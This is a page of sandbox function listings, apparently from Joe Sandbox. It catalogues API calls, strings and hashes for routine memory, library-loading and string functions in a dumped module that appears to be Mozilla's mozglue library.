Instruction ID: b13899f828f35924a81faac571d137dc3c6c1cd657d7fada507fa711c025a8e0
Opcode Fuzzy Hash: d3f09415f4cb2431113d465cd489346be624213e856477daab27acd75ee44281
Instruction Fuzzy Hash: B541A3306097109FE720DF68C884BABB7F8AF9531CF504A1CF59197650EB30D949CBA2

Function 6C9A74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9A7526
__Init_thread_footer.LIBCMT ref: 6C9A7566
__Init_thread_footer.LIBCMT ref: 6C9A7597

Strings

UnmapViewOfFile2, xrefs: 6C9A7552
kernel32.dll, xrefs: 6C9A7557

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5692bd7e072633fc72a669e8a1c99b62bfd55971993dd69321190aa11c5a1ebc
Instruction ID: e9ab22e1318cafe43f9e653662645357882085e295298867685de1c9aa5ae757
Opcode Fuzzy Hash: 5692bd7e072633fc72a669e8a1c99b62bfd55971993dd69321190aa11c5a1ebc
Instruction Fuzzy Hash: 6A21F831706501EBCF148FE4C816E9933BAEB97B2CF245529E80557B40CB20FA2785A7

Function 6C9AA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CF770,-00000001,?,6C9BE330,?,6C96BDF7), ref: 6C9AA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C96BDF7), ref: 6C9AA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C96BDF7), ref: 6C9AA7E4
LeaveCriticalSection.KERNEL32(6C9CF770), ref: 6C9AA80A

Strings

accelerator.dll, xrefs: 6C9AA7BF

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ed7788b1f3fd67f20650c3af7e0277b06719314c67a77c7954a6c0efe4431be8
Instruction ID: 80b882b8833f1811e516fb6649d97191439c118d342d514e5336e6dda6b7b977
Opcode Fuzzy Hash: ed7788b1f3fd67f20650c3af7e0277b06719314c67a77c7954a6c0efe4431be8
Instruction Fuzzy Hash: 6E018BB07042049F9B08CF99D884C127BB8FF8AB18714806AE809CB741DB70E910CFA1

Function 6C94F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C94EE51,?), ref: 6C94F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C94F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C94F0E3
ole32, xrefs: 6C94F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C94F0DC

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 7d033ce887178589675c214f63341576f8beff18117d69236b5de5926f1239e2
Instruction ID: 099076ced84773c8f7f296bc2a7922468d488bd4067406442cbd566fb1fad949
Opcode Fuzzy Hash: 7d033ce887178589675c214f63341576f8beff18117d69236b5de5926f1239e2
Instruction Fuzzy Hash: B8E0207534C307DB9F141A729808A2637BC5BE350E320C02DE401D2E40EF20D510C76B

Function 6C980080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C957204), ref: 6C980088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9800A7
FreeLibrary.KERNEL32(?,6C957204), ref: 6C9800BE

Strings

wintrust.dll, xrefs: 6C980083
CryptCATAdminAcquireContext2, xrefs: 6C9800A1

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: e80c211786214211b1a1102648e9d9d668cfd1103a87900dfa2e9ddcadb97566
Instruction ID: a2e3871c0bec58f70e7ef23479e51e85b512f1f73a636b3f0a1225302e4c89eb
Opcode Fuzzy Hash: e80c211786214211b1a1102648e9d9d668cfd1103a87900dfa2e9ddcadb97566
Instruction Fuzzy Hash: 67E0927474A3059BEF00AF6698687117AF8AB0B749F214466A916C3650DBB8D200DF96

Function 6C9800D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C957235), ref: 6C9800D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9800F7
FreeLibrary.KERNEL32(?,6C957235), ref: 6C98010E

Strings

wintrust.dll, xrefs: 6C9800D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9800F1

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 73c23265e3afe82e37a4b2d659073608b5d791cadbec8a6e1e18cde9e0a86435
Instruction ID: a4735919b5e2b85e4ee9917a0cf1ff6c199d47fd6011732f0c8a6d8a7e0def40
Opcode Fuzzy Hash: 73c23265e3afe82e37a4b2d659073608b5d791cadbec8a6e1e18cde9e0a86435
Instruction Fuzzy Hash: C7E0127034E3059BEF009F2589897213AF8A707258F704465AA0BC3A50DBB0C3108B52

Function 6C9AC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9AC0E9), ref: 6C9AC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9AC437
FreeLibrary.KERNEL32(?,6C9AC0E9), ref: 6C9AC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9AC431
ntdll.dll, xrefs: 6C9AC413

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 5684f20f602fc45620bb23a13e1f9f8261f10cd038f21c13c7830e6b1006be21
Instruction ID: 22e2acdeebaf91bb6e455cf631342c175894711c3e976cd78b907e460c9e11fc
Opcode Fuzzy Hash: 5684f20f602fc45620bb23a13e1f9f8261f10cd038f21c13c7830e6b1006be21
Instruction Fuzzy Hash: C1E0B67470D309ABDF00BF71C9687127BF8A74AA0CF204157BA0696640EBB1D6018B95

Function 6C9A75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9A748B,?), ref: 6C9A75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9A75D7
FreeLibrary.KERNEL32(?,6C9A748B,?), ref: 6C9A75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9A75D1
ntdll.dll, xrefs: 6C9A75B3

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3ca5153444fd244f326265cb2fc2f989bfa699888e1fbdb13e6b69e8e2d6fa19
Instruction ID: 8123d7b38beea73423a15956e82723f36b73b686c9c7e911276490e53231b80a
Opcode Fuzzy Hash: 3ca5153444fd244f326265cb2fc2f989bfa699888e1fbdb13e6b69e8e2d6fa19
Instruction Fuzzy Hash: 13E0B6B1748305ABEF006FA2C8487017AF8EB4BA1CF305425A905D2640EBB0C36ECF51

Function 6C9A7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9A7592), ref: 6C9A7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9A7627
FreeLibrary.KERNEL32(?,6C9A7592), ref: 6C9A763C

Strings

NtUnmapViewOfSection, xrefs: 6C9A7621
ntdll.dll, xrefs: 6C9A7603

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 5155178632fcd1ad83bb00997f44f4abfc09f0064275bd296302debf2d42d4d1
Instruction ID: 5069397de21fa3a9f519b429e3c4825a9a2c0c065513e2a3e13c04e7ec80d25e
Opcode Fuzzy Hash: 5155178632fcd1ad83bb00997f44f4abfc09f0064275bd296302debf2d42d4d1
Instruction Fuzzy Hash: EBE0B6B1709705ABDF006FA6C9087057AB8E75AB5DF204115E905D2751E7B0C2298F9A

Function 6C9ABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9ABE49), ref: 6C9ABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9ABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9ABE49), ref: 6C9ABF38
RtlReAllocateHeap.NTDLL ref: 6C9ABF83
RtlFreeHeap.NTDLL ref: 6C9ABFA6

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: cf9280d5b1ff94e565698aa189d7ffe6efd89fc1feb5bf65bcaabf0e7e84e635
Instruction ID: bec889e2133a0ee59b99668e647b48e27966e286d403543fb012111b07a5e583
Opcode Fuzzy Hash: cf9280d5b1ff94e565698aa189d7ffe6efd89fc1feb5bf65bcaabf0e7e84e635
Instruction Fuzzy Hash: 09518F71A002098FE714DFA9CD80BAAB7B6FF98314F294639D519A7B54D730F9178B80

Function 6C998E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998EBF
free.MOZGLUE(?,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998F46
free.MOZGLUE(?,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F8F

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c7c984a2f09f31abc1bf07438f1a7b36ed66b7ca60f1aeb35156cef96389c4d0
Instruction ID: 9b8d51091f6c4056f975210e5596386310f20c155d35d3a4f171785c0783d646
Opcode Fuzzy Hash: c7c984a2f09f31abc1bf07438f1a7b36ed66b7ca60f1aeb35156cef96389c4d0
Instruction Fuzzy Hash: 7A519EB1A012168FEB18CF64D88066E77B6BF44318F29052ED917ABB40E731FA15CBD5

Function 6C9560E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9560F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C956180
free.MOZGLUE(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C956211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C956229
free.MOZGLUE(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C95625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C956271

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 80dc3f99b6cef031ea7a6bde266c9ec35a8d8c8084275e593886af23248a851f
Instruction ID: 6c8d083bd4535246fb3fcf7b7514a2148bda567ce55f70f5b6c7a84e2f253e31
Opcode Fuzzy Hash: 80dc3f99b6cef031ea7a6bde266c9ec35a8d8c8084275e593886af23248a851f
Instruction Fuzzy Hash: 6A518BB1A042068FEB14CFA8D8807BEB7B5EF45308F640539D616DBB51EB31EA64CB51

Function 6C94CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C94D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C94D139

Strings

MOZ_CRASH(), xrefs: 6C94D187

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a25d9f4da136a5ec27f9de12b1a213093c5632a696abe972558f9e71937ba6e6
Instruction ID: d9ac743959474250c917fefa40c18c9090b5764a3a6a0204ec68777f3d4ce21a
Opcode Fuzzy Hash: a25d9f4da136a5ec27f9de12b1a213093c5632a696abe972558f9e71937ba6e6
Instruction Fuzzy Hash: BD41EF36B052168FCB08CE7CCC9636A37B4EB49B14F244139E919E7784D7A19E108BD5

Function 6C944DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C944EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C944F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C944F1E

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79692672506df3fd6ede3fd1b514639b7eb32f45cd3c66b7545a7d2990b39883
Instruction ID: 73ff9694e90763825d018ef0d9134b3826a784f2a5997d96238ac255c39cb05c
Opcode Fuzzy Hash: 79692672506df3fd6ede3fd1b514639b7eb32f45cd3c66b7545a7d2990b39883
Instruction Fuzzy Hash: 5A41DF716087019FC705CF69C88095BB7E8BF99344F10CA2DF86697B41DB30E968CB92

Function 6C951530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C95159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C9515BC
moz_xmalloc.MOZGLUE(-00000001,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C9515E7
free.MOZGLUE(?,?,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C951606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C951637

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: cbbe7f1a1f53df9dbb4a3f4e19451d5c6c180cc5e174445e151b9d97c641a513
Instruction ID: 4238f17d13e0765546d0489b136e2416e5a7d238c66937bc67f09f1a8792b2f7
Opcode Fuzzy Hash: cbbe7f1a1f53df9dbb4a3f4e19451d5c6c180cc5e174445e151b9d97c641a513
Instruction Fuzzy Hash: 3A310872A011059BCB18CE78D85047E77A9BF96364BA40B2DE423DBBD8EB30D9258791

Function 6C9AAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAD9D

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE3D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4633525ac1b5a90325f9922b43ae12b471a2f9e0f93b0285b4a11dc15b392676
Instruction ID: 8a22b3ad674ff86bd02bd7d9d4bab1fe58df03d970061cbd7d487f80379916be
Opcode Fuzzy Hash: 4633525ac1b5a90325f9922b43ae12b471a2f9e0f93b0285b4a11dc15b392676
Instruction Fuzzy Hash: 6E3165B1A003159FDB10DF798C44AABBBF8EF59614F15882DE84AE7700EB34D905CBA0

Function 6C9A5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9BDCA0,?,?,?,6C97E8B5,00000000), ref: 6C9A5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C97E8B5,00000000), ref: 6C9A5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C97E8B5,00000000), ref: 6C9A5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C97E8B5,00000000), ref: 6C9A5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C97E8B5,00000000), ref: 6C9A5FD6

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 99d10e622c46d1651a51a4e6af23971a80f1853c0e8de3e4ea87e1abbb17b0a5
Instruction ID: fc51ea54e205b02e09bfc9ed483826289c30559d8509ec1dbfd038ce9eded176
Opcode Fuzzy Hash: 99d10e622c46d1651a51a4e6af23971a80f1853c0e8de3e4ea87e1abbb17b0a5
Instruction Fuzzy Hash: 7731E734304A008FD714CF69C898B2AB7F9BF89319BA48558E5568BB95C731ED52CB90

